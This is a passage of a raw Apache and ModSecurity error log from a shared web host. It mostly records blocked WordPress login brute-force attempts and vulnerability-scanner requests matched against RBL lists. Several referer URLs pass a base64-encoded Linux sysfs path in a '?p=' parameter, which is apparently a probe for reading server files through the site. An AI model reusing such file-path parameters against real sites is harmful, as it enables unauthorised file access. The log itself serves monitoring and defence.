https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZQ== [Sat Jun 13 18:24:49.921561 2026] [security2:error] [pid 715691:tid 715881] [client 159.223.112.69:47204] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai300bV-dFiaX9AtWiQwHgAAATI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:49.995431 2026] [security2:error] [pid 715691:tid 715908] [client 159.223.112.69:47206] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai300bV-dFiaX9AtWiQwIAAAAU0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:50.113336 2026] [security2:error] [pid 715691:tid 715731] [remote 20.153.140.50:49314] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 50.140.153.20.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "frederickmodelaircraftclub.org"] [uri "/wp-login.php"] [unique_id "ai300rV-dFiaX9AtWiQwJQABYxU"] [Sat Jun 13 18:24:50.276165 2026] [access_compat:error] [pid 715691:tid 715816] [remote 57.141.14.7:46801] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:50.276445 2026] [access_compat:error] [pid 715691:tid 715816] [remote 57.141.14.7:46801] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:50.294129 2026] [access_compat:error] [pid 715691:tid 715714] [remote 57.141.14.62:30548] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:50.294565 2026] [access_compat:error] [pid 715691:tid 715714] [remote 57.141.14.62:30548] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:50.296308 2026] [access_compat:error] [pid 646876:tid 647002] [remote 216.73.216.182:54908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:50.296580 2026] [access_compat:error] [pid 646876:tid 647002] [remote 216.73.216.182:54908] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:50.326940 2026] [security2:error] [pid 646876:tid 647095] [client 185.199.157.20:22025] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 20.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/classwithtostring.php"] [unique_id "ai300tyTkdrNlD40tSHb3QAAAFc"] [Sat Jun 13 18:24:50.365471 2026] [access_compat:error] [pid 646876:tid 646909] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9ldmVudDIvcG93ZXI= [Sat Jun 13 18:24:50.365777 2026] [access_compat:error] [pid 646876:tid 646909] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9ldmVudDIvcG93ZXI= [Sat Jun 13 18:24:50.644635 2026] [security2:error] [pid 715691:tid 715788] [remote 17.246.23.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai300rV-dFiaX9AtWiQwOgABek0"] [Sat Jun 13 18:24:50.918127 2026] [access_compat:error] [pid 646876:tid 646984] [remote 57.141.14.12:43516] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:50.918545 2026] [access_compat:error] [pid 646876:tid 646984] [remote 57.141.14.12:43516] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:50.977901 2026] [security2:error] [pid 646876:tid 647119] [client 185.199.157.19:28207] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 19.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/item.php"] [unique_id "ai300tyTkdrNlD40tSHb5QAAAG8"] [Sat Jun 13 18:24:51.006475 2026] [access_compat:error] [pid 646876:tid 646987] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL2V2ZW50My9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:24:51.006930 2026] [access_compat:error] [pid 646876:tid 646987] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL2V2ZW50My9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:24:51.412344 2026] [access_compat:error] [pid 646876:tid 646946] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:24:51.412707 2026] [access_compat:error] [pid 646876:tid 646946] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:24:51.530257 2026] [access_compat:error] [pid 715691:tid 715717] [remote 57.141.14.42:21596] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:51.530566 2026] [access_compat:error] [pid 715691:tid 715717] [remote 57.141.14.42:21596] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:51.605078 2026] [security2:error] [pid 715691:tid 715932] [client 185.199.157.16:47775] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.157.199.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "krosscorp.us"] [uri "/222.php"] [unique_id "ai3007V-dFiaX9AtWiQwVgAAAWU"] [Sat Jun 13 18:24:51.702326 2026] [security2:error] [pid 646876:tid 646933] [remote 17.246.19.140:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 140.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3009yTkdrNlD40tSHb8gAAATY"] [Sat Jun 13 18:24:51.747529 2026] [security2:error] [pid 715691:tid 715922] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/zip/tests/bug38944.phpt"] [unique_id "ai3007V-dFiaX9AtWiQwXgAAAVs"] [Sat Jun 13 18:24:51.747973 2026] [security2:error] [pid 715691:tid 715845] [client 213.180.203.11:63774] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Mozilla\\\\/5\\\\.0 \\\\(compatible; YandexBot\\\\/3\\\\.0; \\\\+http:\\\\/\\\\/yandex\\\\.com\\\\/bots\\\\)" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/othercrawler.conf"] [line "3"] [id "901008"] [msg "Yandex Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "salserodeacero.net"] [uri "/robots.txt"] [unique_id "ai3007V-dFiaX9AtWiQwXQAAAQ4"] [Sat Jun 13 18:24:51.792172 2026] [access_compat:error] [pid 715691:tid 715767] [remote 57.141.14.86:24090] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:51.792462 2026] [access_compat:error] [pid 715691:tid 715767] [remote 57.141.14.86:24090] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:51.931833 2026] [security2:error] [pid 715691:tid 715799] [remote 20.153.140.50:49314] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 50.140.153.20.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "frederickmodelaircraftclub.org"] [uri "/wp-login.php"] [unique_id "ai3007V-dFiaX9AtWiQwZAABe1g"], referer: https://frederickmodelaircraftclub.org/wp-login.php [Sat Jun 13 18:24:51.935632 2026] [access_compat:error] [pid 646876:tid 646889] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDAvcG93ZXI= [Sat Jun 13 18:24:51.936099 2026] [access_compat:error] [pid 646876:tid 646889] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDAvcG93ZXI= [Sat Jun 13 18:24:51.939798 2026] [access_compat:error] [pid 646876:tid 646959] [remote 57.141.14.34:44070] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:51.940249 2026] [access_compat:error] [pid 646876:tid 646959] [remote 57.141.14.34:44070] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:51.942992 2026] [access_compat:error] [pid 715691:tid 715806] [remote 57.141.14.110:58892] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:51.943513 2026] [access_compat:error] [pid 715691:tid 715806] [remote 57.141.14.110:58892] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:51.996483 2026] [security2:error] [pid 715691:tid 715853] [client 159.223.112.69:47210] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3007V-dFiaX9AtWiQwZwAAARY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:52.017786 2026] [access_compat:error] [pid 715691:tid 715729] [remote 57.141.14.52:54546] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:52.018232 2026] [access_compat:error] [pid 715691:tid 715729] [remote 57.141.14.52:54546] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:52.090559 2026] [access_compat:error] [pid 715691:tid 715757] [remote 57.141.14.29:49007] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:52.090846 2026] [access_compat:error] [pid 715691:tid 715757] [remote 57.141.14.29:49007] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:52.214588 2026] [security2:error] [pid 715691:tid 715925] [client 159.223.112.69:47216] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai301LV-dFiaX9AtWiQwbgAAAV4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:52.406030 2026] [access_compat:error] [pid 715691:tid 715781] [remote 57.141.14.99:50642] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:52.406450 2026] [access_compat:error] [pid 715691:tid 715781] [remote 57.141.14.99:50642] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:52.422563 2026] [security2:error] [pid 715691:tid 715793] [remote 17.22.237.188:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 188.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai301LV-dFiaX9AtWiQweAABH1I"] [Sat Jun 13 18:24:52.426574 2026] [access_compat:error] [pid 715691:tid 715794] [remote 57.141.14.111:46744] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:24:52.427016 2026] [access_compat:error] [pid 715691:tid 715794] [remote 57.141.14.111:46744] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:24:52.433882 2026] [security2:error] [pid 646876:tid 647107] [client 159.223.112.69:47226] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai301NyTkdrNlD40tSHcCAAAAGM"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:52.458580 2026] [security2:error] [pid 715691:tid 715803] [remote 17.22.253.109:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 109.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai301LV-dFiaX9AtWiQwegABIVw"] [Sat Jun 13 18:24:52.488603 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:24:52.488982 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:24:52.653208 2026] [security2:error] [pid 646876:tid 647086] [client 159.223.112.69:47228] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai301NyTkdrNlD40tSHcDAAAAE4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:24:52.739645 2026] [security2:error] [pid 646876:tid 646943] [remote 17.246.23.208:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 208.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai301NyTkdrNlD40tSHcDwAANUA"] [Sat Jun 13 18:24:52.774514 2026] [security2:error] [pid 646876:tid 646883] [remote 17.241.219.96:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 96.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai301NyTkdrNlD40tSHcEAAAGwQ"] [Sat Jun 13 18:24:52.789820 2026] [security2:error] [pid 646876:tid 646937] [remote 50.87.144.169:20202] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 169.144.87.50.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "yoozu.fr"] [uri "/wp-login.php"] [unique_id "ai301NyTkdrNlD40tSHcEQAAAjo"] [Sat Jun 13 18:24:52.871339 2026] [security2:error] [pid 646876:tid 647072] [client 159.223.112.69:47242] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.112.223.159.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai301NyTkdrNlD40tSHcEwAAAEA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat 